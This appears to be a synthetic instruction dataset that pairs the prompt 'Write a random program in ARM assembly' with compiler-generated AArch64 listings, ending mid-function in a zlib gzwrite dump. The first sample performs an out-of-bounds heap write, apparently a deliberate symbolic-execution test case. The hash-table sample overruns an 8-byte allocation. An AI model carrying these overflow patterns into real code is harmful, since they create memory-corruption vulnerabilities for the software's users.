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### Human: Write a random program in ARM assembly### Assistant: ``` .text
.section .rodata
.align 3
.LC0:
.string "range"
.text
.align 2
.global main
.type main, %function
main:
.LFB6:
.cfi_startproc
stp x29, x30, [sp, -32]!
.cfi_def_cfa_offset 32
.cfi_offset 29, -32
.cfi_offset 30, -24
mov x29, sp
adrp x0, .LC0
add x2, x0, :lo12:.LC0
mov w1, 2
mov w0, 0
bl klee_range
cmp w0, 0
beq .L2
mov x0, 8
bl malloc
str x0, [sp, 24]
adrp x0, .LC0
add x2, x0, :lo12:.LC0
mov w1, 6
mov w0, 0
bl klee_range
sxtw x0, w0
ldr x1, [sp, 24]
add x0, x1, x0
mov w1, 1
str w1, [x0]
ldr x0, [sp, 24]
bl free
b .L3
.L2:
mov x0, 8
bl malloc
str x0, [sp, 16]
adrp x0, .LC0
add x2, x0, :lo12:.LC0
mov w1, 5
mov w0, -1
bl klee_range
sxtw x0, w0
ldr x1, [sp, 16]
add x0, x1, x0
mov w1, 1
str w1, [x0]
ldr x0, [sp, 16]
bl free
.L3:
mov w0, 0
ldp x29, x30, [sp], 32
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE6:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.align 2
.global varreVetor
.type varreVetor, %function
varreVetor:
.LFB0:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str x0, [sp, 24]
str wzr, [sp, 44]
b .L2
.L3:
ldrsw x0, [sp, 44]
lsl x0, x0, 2
ldr x1, [sp, 24]
add x0, x1, x0
ldr w0, [x0]
bl saida
ldr w0, [sp, 44]
add w0, w0, 1
str w0, [sp, 44]
.L2:
ldr w0, [sp, 44]
cmp w0, 4
ble .L3
nop
nop
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size varreVetor, .-varreVetor
.align 2
.global mostrasaida
.type mostrasaida, %function
mostrasaida:
.LFB1:
.cfi_startproc
stp x29, x30, [sp, -96]!
.cfi_def_cfa_offset 96
.cfi_offset 29, -96
.cfi_offset 30, -88
mov x29, sp
strb w0, [sp, 31]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 88]
mov x1, 0
adrp x0, .LC0
add x0, x0, :lo12:.LC0
add x2, sp, 40
mov x3, x0
ldp x0, x1, [x3]
stp x0, x1, [x2]
ldr w0, [x3, 16]
str w0, [x2, 16]
adrp x0, .LC1
add x0, x0, :lo12:.LC1
add x2, sp, 64
mov x3, x0
ldp x0, x1, [x3]
stp x0, x1, [x2]
ldr w0, [x3, 16]
str w0, [x2, 16]
ldrb w0, [sp, 31]
cmp w0, 65
beq .L5
cmp w0, 66
beq .L6
b .L9
.L5:
add x0, sp, 40
bl varreVetor
b .L7
.L6:
add x0, sp, 64
bl varreVetor
nop
.L7:
.L9:
nop
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x2, [sp, 88]
ldr x1, [x0]
subs x2, x2, x1
mov x1, 0
beq .L8
bl __stack_chk_fail
.L8:
ldp x29, x30, [sp], 96
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE1:
.size mostrasaida, .-mostrasaida
.section .rodata
.align 3
.LC0:
.word 252
.word 146
.word 145
.word 146
.word 252
.align 3
.LC1:
.word 255
.word 201
.word 201
.word 201
.word 182
.text
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.align 2
.global init
.type init, %function
init:
.LFB6:
.cfi_startproc
sub sp, sp, #32
.cfi_def_cfa_offset 32
str x0, [sp, 8]
str wzr, [sp, 28]
b .L2
.L3:
ldrsw x0, [sp, 28]
lsl x0, x0, 3
ldr x1, [sp, 8]
add x0, x1, x0
str wzr, [x0, 4]
ldrsw x0, [sp, 28]
lsl x0, x0, 3
ldr x1, [sp, 8]
add x0, x1, x0
str wzr, [x0]
ldr w0, [sp, 28]
add w0, w0, 1
str w0, [sp, 28]
.L2:
ldr w0, [sp, 28]
cmp w0, 9
ble .L3
nop
nop
add sp, sp, 32
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE6:
.size init, .-init
.align 2
.global insert_linear
.type insert_linear, %function
insert_linear:
.LFB7:
.cfi_startproc
sub sp, sp, #32
.cfi_def_cfa_offset 32
str x0, [sp, 8]
str w1, [sp, 4]
ldr w1, [sp, 4]
mov w0, 26215
movk w0, 0x6666, lsl 16
smull x0, w1, w0
lsr x0, x0, 32
asr w2, w0, 2
asr w0, w1, 31
sub w2, w2, w0
mov w0, w2
lsl w0, w0, 2
add w0, w0, w2
lsl w0, w0, 1
sub w0, w1, w0
str w0, [sp, 28]
b .L5
.L6:
ldr w0, [sp, 28]
add w1, w0, 1
mov w0, 26215
movk w0, 0x6666, lsl 16
smull x0, w1, w0
lsr x0, x0, 32
asr w2, w0, 2
asr w0, w1, 31
sub w2, w2, w0
mov w0, w2
lsl w0, w0, 2
add w0, w0, w2
lsl w0, w0, 1
sub w0, w1, w0
str w0, [sp, 28]
.L5:
ldrsw x0, [sp, 28]
lsl x0, x0, 3
ldr x1, [sp, 8]
add x0, x1, x0
ldr w0, [x0, 4]
cmp w0, 0
bne .L6
ldrsw x0, [sp, 28]
lsl x0, x0, 3
ldr x1, [sp, 8]
add x0, x1, x0
mov w1, 1
str w1, [x0, 4]
ldrsw x0, [sp, 28]
lsl x0, x0, 3
ldr x1, [sp, 8]
add x0, x1, x0
ldr w1, [sp, 4]
str w1, [x0]
nop
add sp, sp, 32
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE7:
.size insert_linear, .-insert_linear
.align 2
.global insert_quadruple
.type insert_quadruple, %function
insert_quadruple:
.LFB8:
.cfi_startproc
sub sp, sp, #32
.cfi_def_cfa_offset 32
str x0, [sp, 8]
str w1, [sp, 4]
str wzr, [sp, 24]
ldr w1, [sp, 4]
mov w0, 26215
movk w0, 0x6666, lsl 16
smull x0, w1, w0
lsr x0, x0, 32
asr w2, w0, 2
asr w0, w1, 31
sub w2, w2, w0
mov w0, w2
lsl w0, w0, 2
add w0, w0, w2
lsl w0, w0, 1
sub w0, w1, w0
str w0, [sp, 28]
ldr w0, [sp, 28]
str w0, [sp, 20]
b .L8
.L9:
ldr w0, [sp, 24]
mul w1, w0, w0
ldr w0, [sp, 28]
add w1, w1, w0
mov w0, 26215
movk w0, 0x6666, lsl 16
smull x0, w1, w0
lsr x0, x0, 32
asr w2, w0, 2
asr w0, w1, 31
sub w2, w2, w0
mov w0, w2
lsl w0, w0, 2
add w0, w0, w2
lsl w0, w0, 1
sub w0, w1, w0
str w0, [sp, 20]
ldr w0, [sp, 24]
add w0, w0, 1
str w0, [sp, 24]
.L8:
ldrsw x0, [sp, 20]
lsl x0, x0, 3
ldr x1, [sp, 8]
add x0, x1, x0
ldr w0, [x0, 4]
cmp w0, 0
bne .L9
ldrsw x0, [sp, 20]
lsl x0, x0, 3
ldr x1, [sp, 8]
add x0, x1, x0
mov w1, 1
str w1, [x0, 4]
ldrsw x0, [sp, 20]
lsl x0, x0, 3
ldr x1, [sp, 8]
add x0, x1, x0
ldr w1, [sp, 4]
str w1, [x0]
nop
add sp, sp, 32
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE8:
.size insert_quadruple, .-insert_quadruple
.section .rodata
.align 3
.LC0:
.string "%d\t"
.text
.align 2
.global display
.type display, %function
display:
.LFB9:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str x0, [sp, 24]
str wzr, [sp, 44]
b .L11
.L12:
ldrsw x0, [sp, 44]
lsl x0, x0, 3
ldr x1, [sp, 24]
add x0, x1, x0
ldr w0, [x0]
mov w1, w0
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl printf
ldr w0, [sp, 44]
add w0, w0, 1
str w0, [sp, 44]
.L11:
ldr w0, [sp, 44]
cmp w0, 9
ble .L12
nop
nop
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE9:
.size display, .-display
.section .rodata
.align 3
.LC1:
.string "Linear probing: "
.align 3
.LC2:
.string "Quadruple probing: "
.text
.align 2
.global main
.type main, %function
main:
.LFB10:
.cfi_startproc
stp x29, x30, [sp, -32]!
.cfi_def_cfa_offset 32
.cfi_offset 29, -32
.cfi_offset 30, -24
mov x29, sp
mov x0, 8
bl malloc
str x0, [sp, 16]
mov x0, 8
bl malloc
str x0, [sp, 24]
ldr x0, [sp, 16]
bl init
ldr x0, [sp, 24]
bl init
mov w1, 5
ldr x0, [sp, 16]
bl insert_linear
mov w1, 7
ldr x0, [sp, 16]
bl insert_linear
mov w1, 9
ldr x0, [sp, 16]
bl insert_linear
mov w1, 15
ldr x0, [sp, 16]
bl insert_linear
mov w1, 17
ldr x0, [sp, 16]
bl insert_linear
adrp x0, .LC1
add x0, x0, :lo12:.LC1
bl printf
ldr x0, [sp, 16]
bl display
mov w0, 10
bl putchar
mov w1, 5
ldr x0, [sp, 24]
bl insert_quadruple
mov w1, 7
ldr x0, [sp, 24]
bl insert_quadruple
mov w1, 9
ldr x0, [sp, 24]
bl insert_quadruple
mov w1, 15
ldr x0, [sp, 24]
bl insert_quadruple
mov w1, 17
ldr x0, [sp, 24]
bl insert_quadruple
adrp x0, .LC2
add x0, x0, :lo12:.LC2
bl printf
ldr x0, [sp, 24]
bl display
mov w0, 10
bl putchar
mov w0, 0
ldp x29, x30, [sp], 32
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE10:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.section .rodata
.align 3
.LC0:
.string "%d\n"
.text
.align 2
.global main
.type main, %function
main:
.LFB0:
.cfi_startproc
sub sp, sp, #1040
.cfi_def_cfa_offset 1040
stp x29, x30, [sp]
.cfi_offset 29, -1040
.cfi_offset 30, -1032
mov x29, sp
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 1032]
mov x1, 0
b .L2
.L4:
ldr w0, [sp, 28]
cmp w0, 81
ble .L3
add x0, sp, 32
bl puts
.L3:
ldr w1, [sp, 28]
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl printf
.L2:
add x0, sp, 32
mov w1, 1000
bl getthisline
str w0, [sp, 28]
ldr w0, [sp, 28]
cmp w0, 0
bgt .L4
mov w0, 0
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 1032]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L6
bl __stack_chk_fail
.L6:
mov w0, w1
ldp x29, x30, [sp]
add sp, sp, 1040
.cfi_restore 29
.cfi_restore 30
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size main, .-main
.align 2
.global getthisline
.type getthisline, %function
getthisline:
.LFB1:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str x0, [sp, 24]
str w1, [sp, 20]
str wzr, [sp, 44]
b .L8
.L10:
ldrsw x0, [sp, 44]
ldr x1, [sp, 24]
add x0, x1, x0
ldr w1, [sp, 40]
and w1, w1, 255
strb w1, [x0]
ldr w0, [sp, 44]
add w0, w0, 1
str w0, [sp, 44]
.L8:
ldr w0, [sp, 20]
sub w0, w0, #1
ldr w1, [sp, 44]
cmp w1, w0
bge .L9
bl getchar
str w0, [sp, 40]
ldr w0, [sp, 40]
cmn w0, #1
beq .L9
ldr w0, [sp, 40]
cmp w0, 10
bne .L10
.L9:
ldr w0, [sp, 40]
cmp w0, 10
bne .L11
ldrsw x0, [sp, 44]
ldr x1, [sp, 24]
add x0, x1, x0
ldr w1, [sp, 40]
and w1, w1, 255
strb w1, [x0]
ldr w0, [sp, 44]
add w0, w0, 1
str w0, [sp, 44]
.L11:
ldrsw x0, [sp, 44]
ldr x1, [sp, 24]
add x0, x1, x0
strb wzr, [x0]
ldr w0, [sp, 44]
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE1:
.size getthisline, .-getthisline
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.section .rodata
.align 3
.LC0:
.string "Hello world"
.text
.align 2
.global main
.type main, %function
main:
.LFB0:
.cfi_startproc
stp x29, x30, [sp, -16]!
.cfi_def_cfa_offset 16
.cfi_offset 29, -16
.cfi_offset 30, -8
mov x29, sp
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl puts
mov w0, 0
ldp x29, x30, [sp], 16
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.section .rodata
.align 3
.LC0:
.string "\nError en el fork"
.align 3
.LC1:
.string "./tarea5"
.align 3
.LC2:
.string "ldd"
.align 3
.LC3:
.string "/usr/bin/ldd"
.align 3
.LC4:
.string "\nError en el execl"
.align 3
.LC5:
.string "\nMi hijo %d ha finalizado con el estado %d\n"
.text
.align 2
.global main
.type main, %function
main:
.LFB6:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str w0, [sp, 28]
str x1, [sp, 16]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 40]
mov x1, 0
bl fork
str w0, [sp, 36]
ldr w0, [sp, 36]
cmp w0, 0
bge .L2
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl perror
mov w0, -1
bl exit
.L2:
ldr w0, [sp, 36]
cmp w0, 0
bne .L3
adrp x0, .LC1
add x2, x0, :lo12:.LC1
adrp x0, .LC2
add x1, x0, :lo12:.LC2
adrp x0, .LC3
add x0, x0, :lo12:.LC3
bl execl
cmp w0, 0
bge .L3
adrp x0, .LC4
add x0, x0, :lo12:.LC4
bl perror
mov w0, -1
bl exit
.L3:
add x0, sp, 32
bl wait
ldr w0, [sp, 32]
mov w2, w0
ldr w1, [sp, 36]
adrp x0, .LC5
add x0, x0, :lo12:.LC5
bl printf
mov w0, 0
bl exit
.cfi_endproc
.LFE6:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.global __FC_errno
.bss
.align 2
.type __FC_errno, %object
.size __FC_errno, 4
__FC_errno:
.zero 4
.global __fc_stdin
.align 3
.type __fc_stdin, %object
.size __fc_stdin, 8
__fc_stdin:
.zero 8
.global __fc_stdout
.align 3
.type __fc_stdout, %object
.size __fc_stdout, 8
__fc_stdout:
.zero 8
.global __fc_random_counter
.align 2
.type __fc_random_counter, %object
.size __fc_random_counter, 4
__fc_random_counter:
.zero 4
.global __fc_rand_max
.section .rodata
.align 3
.type __fc_rand_max, %object
.size __fc_rand_max, 8
__fc_rand_max:
.xword 2147483647
.align 3
.LC0:
.string "out of memory"
.align 3
.LC1:
.string "1.2.7"
.text
.align 2
.type gz_init, %function
gz_init:
.LFB0:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str x0, [sp, 24]
ldr x0, [sp, 24]
add x0, x0, 112
str x0, [sp, 40]
ldr x0, [sp, 24]
ldr w0, [x0, 44]
bl malloc
mov x1, x0
ldr x0, [sp, 24]
str x1, [x0, 48]
ldr x0, [sp, 24]
ldr x0, [x0, 48]
cmp x0, 0
bne .L2
adrp x0, .LC0
add x2, x0, :lo12:.LC0
mov w1, -4
ldr x0, [sp, 24]
bl gz_error
mov w0, -1
str w0, [sp, 32]
b .L3
.L2:
ldr x0, [sp, 24]
ldr w0, [x0, 64]
cmp w0, 0
bne .L4
ldr x0, [sp, 24]
ldr w0, [x0, 44]
bl malloc
mov x1, x0
ldr x0, [sp, 24]
str x1, [x0, 56]
ldr x0, [sp, 24]
ldr x0, [x0, 56]
cmp x0, 0
bne .L5
ldr x0, [sp, 24]
ldr x0, [x0, 48]
bl free
adrp x0, .LC0
add x2, x0, :lo12:.LC0
mov w1, -4
ldr x0, [sp, 24]
bl gz_error
mov w0, -1
str w0, [sp, 32]
b .L3
.L5:
ldr x0, [sp, 40]
str xzr, [x0, 64]
ldr x0, [sp, 40]
str xzr, [x0, 72]
ldr x0, [sp, 40]
str xzr, [x0, 80]
ldr x0, [sp, 24]
ldr w1, [x0, 84]
ldr x0, [sp, 24]
ldr w2, [x0, 88]
mov w7, 112
adrp x0, .LC1
add x6, x0, :lo12:.LC1
mov w5, w2
mov w4, 8
mov w3, 31
mov w2, 8
ldr x0, [sp, 40]
bl deflateInit2_
str w0, [sp, 36]
ldr w0, [sp, 36]
cmp w0, 0
beq .L4
ldr x0, [sp, 24]
ldr x0, [x0, 56]
bl free
ldr x0, [sp, 24]
ldr x0, [x0, 48]
bl free
adrp x0, .LC0
add x2, x0, :lo12:.LC0
mov w1, -4
ldr x0, [sp, 24]
bl gz_error
mov w0, -1
str w0, [sp, 32]
b .L3
.L4:
ldr x0, [sp, 24]
ldr w1, [x0, 44]
ldr x0, [sp, 24]
str w1, [x0, 40]
ldr x0, [sp, 24]
ldr w0, [x0, 64]
cmp w0, 0
bne .L6
ldr x0, [sp, 24]
ldr w1, [x0, 40]
ldr x0, [sp, 40]
str w1, [x0, 32]
ldr x0, [sp, 24]
ldr x1, [x0, 56]
ldr x0, [sp, 40]
str x1, [x0, 24]
ldr x0, [sp, 40]
ldr x1, [x0, 24]
ldr x0, [sp, 24]
str x1, [x0, 8]
.L6:
str wzr, [sp, 32]
.L3:
ldr w0, [sp, 32]
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size gz_init, .-gz_init
.section .rodata
.align 3
.LC2:
.string "internal error: deflate stream corrupt"
.text
.align 2
.type gz_comp, %function
gz_comp:
.LFB1:
.cfi_startproc
stp x29, x30, [sp, -80]!
.cfi_def_cfa_offset 80
.cfi_offset 29, -80
.cfi_offset 30, -72
mov x29, sp
str x0, [sp, 24]
str w1, [sp, 20]
ldr x0, [sp, 24]
add x0, x0, 112
str x0, [sp, 56]
ldr x0, [sp, 24]
ldr w0, [x0, 40]
cmp w0, 0
bne .L9
ldr x0, [sp, 24]
bl gz_init
str w0, [sp, 44]
ldr w0, [sp, 44]
cmn w0, #1
bne .L9
mov w0, -1
str w0, [sp, 36]
b .L10
.L9:
ldr x0, [sp, 24]
ldr w0, [x0, 64]
cmp w0, 0
beq .L11
ldr x0, [sp, 24]
ldr w3, [x0, 28]
ldr x0, [sp, 56]
ldr x1, [x0]
ldr x0, [sp, 56]
ldr w0, [x0, 8]
mov w2, w0
mov w0, w3
bl write
str w0, [sp, 52]
ldr w0, [sp, 52]
cmp w0, 0
blt .L30
ldr x0, [sp, 56]
ldr w1, [x0, 8]
ldr w0, [sp, 52]
cmp w1, w0
beq .L14
b .L13
.L30:
nop
.L13:
adrp x0, __FC_errno
add x0, x0, :lo12:__FC_errno
ldr w0, [x0]
bl strerror
str x0, [sp, 72]
ldr x2, [sp, 72]
mov w1, -1
ldr x0, [sp, 24]
bl gz_error
mov w0, -1
str w0, [sp, 36]
b .L10
.L14:
ldr x0, [sp, 56]
str wzr, [x0, 8]
str wzr, [sp, 36]
b .L10
.L11:
str wzr, [sp, 40]
.L26:
ldr x0, [sp, 56]
ldr w0, [x0, 32]
cmp w0, 0
beq .L31
ldr w0, [sp, 20]
cmp w0, 0
beq .L17
ldr w0, [sp, 20]
cmp w0, 4
bne .L32
ldr w0, [sp, 40]
cmp w0, 1
bne .L17
b .L16
.L31:
nop
b .L16
.L32:
nop
.L16:
ldr x0, [sp, 56]
ldr x1, [x0, 24]
ldr x0, [sp, 24]
ldr x0, [x0, 8]
sub x0, x1, x0
str w0, [sp, 48]
ldr w0, [sp, 48]
cmp w0, 0
beq .L19
ldr x0, [sp, 24]
ldr w3, [x0, 28]
ldr x0, [sp, 24]
ldr x0, [x0, 8]
ldr w2, [sp, 48]
mov x1, x0
mov w0, w3
bl write
str w0, [sp, 52]
ldr w0, [sp, 52]
cmp w0, 0
blt .L33
ldr w0, [sp, 52]
ldr w1, [sp, 48]
cmp w1, w0
beq .L19
b .L21
.L33:
nop
.L21:
adrp x0, __FC_errno
add x0, x0, :lo12:__FC_errno
ldr w0, [x0]
bl strerror
str x0, [sp, 64]
ldr x2, [sp, 64]
mov w1, -1
ldr x0, [sp, 24]
bl gz_error
mov w0, -1
str w0, [sp, 36]
b .L10
.L19:
ldr x0, [sp, 56]
ldr w0, [x0, 32]
cmp w0, 0
bne .L22
ldr x0, [sp, 24]
ldr w1, [x0, 40]
ldr x0, [sp, 56]
str w1, [x0, 32]
ldr x0, [sp, 24]
ldr x1, [x0, 56]
ldr x0, [sp, 56]
str x1, [x0, 24]
.L22:
ldr x0, [sp, 56]
ldr x1, [x0, 24]
ldr x0, [sp, 24]
str x1, [x0, 8]
.L17:
ldr x0, [sp, 56]
ldr w0, [x0, 32]
str w0, [sp, 48]
ldr w1, [sp, 20]
ldr x0, [sp, 56]
bl deflate
str w0, [sp, 40]
ldr w0, [sp, 40]
cmn w0, #2
bne .L23
adrp x0, .LC2
add x2, x0, :lo12:.LC2
mov w1, -2
ldr x0, [sp, 24]
bl gz_error
mov w0, -1
str w0, [sp, 36]
b .L10
.L23:
ldr x0, [sp, 56]
ldr w0, [x0, 32]
ldr w1, [sp, 48]
sub w0, w1, w0
str w0, [sp, 48]
ldr w0, [sp, 48]
cmp w0, 0
beq .L34
b .L26
.L34:
nop
ldr w0, [sp, 20]
cmp w0, 4
bne .L27
ldr x0, [sp, 56]
bl deflateReset
.L27:
str wzr, [sp, 36]
.L10:
ldr w0, [sp, 36]
ldp x29, x30, [sp], 80
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE1:
.size gz_comp, .-gz_comp
.align 2
.type gz_zero, %function
gz_zero:
.LFB2:
.cfi_startproc
stp x29, x30, [sp, -64]!
.cfi_def_cfa_offset 64
.cfi_offset 29, -64
.cfi_offset 30, -56
mov x29, sp
str x0, [sp, 24]
str w1, [sp, 20]
ldr x0, [sp, 24]
add x0, x0, 112
str x0, [sp, 56]
ldr x0, [sp, 56]
ldr w0, [x0, 8]
cmp w0, 0
beq .L36
mov w1, 0
ldr x0, [sp, 24]
bl gz_comp
str w0, [sp, 48]
ldr w0, [sp, 48]
cmn w0, #1
bne .L36
mov w0, -1
str w0, [sp, 36]
b .L37
.L36:
mov w0, 1
str w0, [sp, 40]
b .L38
.L45:
ldr x0, [sp, 24]
ldr w0, [x0, 40]
cmp w0, 0
bge .L47
ldr w0, [sp, 20]
str w0, [sp, 44]
b .L40
.L47:
nop
.L41:
ldr x0, [sp, 24]
ldr w0, [x0, 40]
ldr w1, [sp, 20]
cmp w1, w0
bcs .L42
ldr w0, [sp, 20]
str w0, [sp, 44]
b .L40
.L42:
ldr x0, [sp, 24]
ldr w0, [x0, 40]
str w0, [sp, 44]
.L40:
ldr w0, [sp, 40]
cmp w0, 0
beq .L43
ldr x0, [sp, 24]
ldr x0, [x0, 48]
ldr w2, [sp, 44]
mov w1, 0
bl memset
str wzr, [sp, 40]
.L43:
ldr x0, [sp, 56]
ldr w1, [sp, 44]
str w1, [x0, 8]
ldr x0, [sp, 24]
ldr x1, [x0, 48]
ldr x0, [sp, 56]
str x1, [x0]
ldr x0, [sp, 24]
ldr w1, [x0, 16]
ldr w0, [sp, 44]
add w1, w1, w0
ldr x0, [sp, 24]
str w1, [x0, 16]
mov w1, 0
ldr x0, [sp, 24]
bl gz_comp
str w0, [sp, 52]
ldr w0, [sp, 52]
cmn w0, #1
bne .L44
mov w0, -1
str w0, [sp, 36]
b .L37
.L44:
ldr w1, [sp, 20]
ldr w0, [sp, 44]
sub w0, w1, w0
str w0, [sp, 20]
.L38:
ldr w0, [sp, 20]
cmp w0, 0
bne .L45
str wzr, [sp, 36]
.L37:
ldr w0, [sp, 36]
ldp x29, x30, [sp], 64
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE2:
.size gz_zero, .-gz_zero
.section .rodata
.align 3
.LC3:
.string "requested length does not fit in int"
.text
.align 2
.global gzwrite
.type gzwrite, %function
gzwrite:
.LFB3:
.cfi_startproc
stp x29, x30, [sp, -96]!
.cfi_def_cfa_offset 96
.cfi_offset 29, -96
.cfi_offset 30, -88
mov x29, sp
str x0, [sp, 40]
str x1, [sp, 32]
str w2, [sp, 28]
ldr w0, [sp, 28]
str w0, [sp, 56]
ldr x0, [sp, 40]
cmp x0, 0
bne .L49
str wzr, [sp, 48]
b .L50
.L49:
ldr x0, [sp, 40]
str x0, [sp, 80]
ldr x0, [sp, 80]
add x0, x0, 112
str x0, [sp, 88]
ldr x0, [sp, 80]
ldr w1, [x0, 24]
mov w0, 31153
cmp w1, w0
beq .L51
str wzr, [sp, 48]
b .L50
.L51:
ldr x0, [sp, 80]
ldr w0, [x0, 100]
cmp w0, 0
beq .L52
str wzr, [sp, 48]
b .L50
.L52:
ldr w0, [sp, 28]
cmp w0, 0
bge .L53
adrp x0, .LC3
add x2, x0, :lo12:.LC3
mov w1, -3
ldr x0, [sp, 80]
bl gz_error
str wzr, [sp, 48]
b .L50
.L53:
ldr w0, [sp, 28]
cmp w0, 0
bne .L54
str wzr, [sp, 48]
b .L50
.L54:
ldr x0, [sp, 80]
ldr w0, [x0, 40]
cmp w0, 0
bne .L55
ldr x0, [sp, 80]
bl gz_init
str w0, [sp, 60]
ldr w0, [sp, 60]
cmn w0, #1
bne .L55
str wzr, [sp, 48]
b .L50
.L55:
ldr x0, [sp, 80]
ldr w0, [x0, 96]
cmp w0, 0
beq .L56
ldr x0, [sp, 80]
str wzr, [x0, 96]
ldr x0, [sp, 80]
ldr w0, [x0, 92]
mov w1, w0
ldr x0, [sp, 80]
bl gz_zero
str w0, [sp, 64]
ldr w0, [sp, 64]
cmn w0, #1
bne .L56
str wzr, [sp, 48]
b .L50
.L56:
ldr x0, [sp, 80]
ldr w0, [x0, 40]
ldr w1, [sp, 28]
cmp w1, w0
bcs .L57
.L63:
ldr x0, [sp, 88]
ldr w0, [x0, 8]
cmp w0, 0
bne .L58
ldr x0, [sp, 80]
ldr x1, [x0, 48]
ldr x0, [sp, 88]
str x1, [x0]
.L58:
ldr x0, [sp, 80]
ldr w1, [x0, 40]
ldr x0, [sp, 88]
ldr w0, [x0, 8]
sub w0, w1, w0
str w0, [sp, 52]
ldr w1, [sp, 52]
ldr w0, [sp, 28]
cmp w1, w0
bls .L59
ldr w0, [sp, 28]
str w0, [sp, 52]
.L59:
ldr x0, [sp, 88]
ldr x1, [x0]
ldr x0, [sp, 88]
ldr w0, [x0, 8]
uxtw x0, w0
add x0, x1, x0
ldr w2, [sp, 52]
ldr x1, [sp, 32]
bl memcpy
ldr x0, [sp, 88]
ldr w1, [x0, 8]
ldr w0, [sp, 52]
add w1, w1, w0
ldr x0, [sp, 88]
str w1, [x0, 8]
ldr x0, [sp, 80]
ldr w1, [x0, 16]
ldr w0, [sp, 52]
add w1, w1, w0
ldr x0, [sp, 80]
str w1, [x0, 16]
ldr w0, [sp, 52]
ldr x1, [sp, 32]
add x0, x1, x0
str x0, [sp, 32]
ldr w1, [sp, 28]
ldr w0, [sp, 52]
sub w0, w1, w0
str w0, [sp, 28]
ldr w0, [sp, 28]
cmp w0, 0
beq .L60
mov w1, 0
ldr x0, [sp, 80]
bl gz_comp
str w0, [sp, 76]
ldr w0, [sp, 76]
cmn w0, #1
bne .L60
str wzr, [sp, 48]
b .L50
.L60:
ldr w0, [sp, 28]
cmp w0, 0
beq .L67
b .L63
.L57:
ldr x0, [sp, 88]
ldr w0, [x0, 8]
cmp w0, 0
beq .L65
mov w1, 0
ldr x0, [sp, 80]
bl gz_comp
str w0, [sp, 68]
ldr w0, [sp, 68]
cmn w0, #1
bne .L65
str wzr, [sp, 48]
b .L50
.L65:
ldr x0, [sp, 88]
ldr w1, [sp, 28]
str w1, [x0, 8]
ldr x0, [sp, 88]
ldr x1, [sp, 32]
str x1, [x0]
ldr x0, [sp, 80]
ldr w1, [x0, 16]
ldr w0, [sp, 28]
add w1, w1, w0
ldr x0, [sp, 80]
str w1, [x0, 16]
mov w1, 0
ldr x0, [sp, 80]
bl gz_comp
str w0, [sp, 72]
ldr w0, [sp, 72]
cmn w0, #1
bne .L64
str wzr, [sp, 48]
b .L50
.L67:
nop
.L64:
ldr w0, [sp, 56]
str w0, [sp, 48]
.L50:
ldr w0, [sp, 48]
ldp x29, x30, [sp], 96
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE3:
.size gzwrite, .-gzwrite
.align 2
.global gzputc
.type gzputc, %function
gzputc:
.LFB4:
.cfi_startproc
stp x29, x30, [sp, -80]!
.cfi_def_cfa_offset 80
.cfi_offset 29, -80
.cfi_offset 30, -72
mov x29, sp
str x0, [sp, 24]
str w1, [sp, 20]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
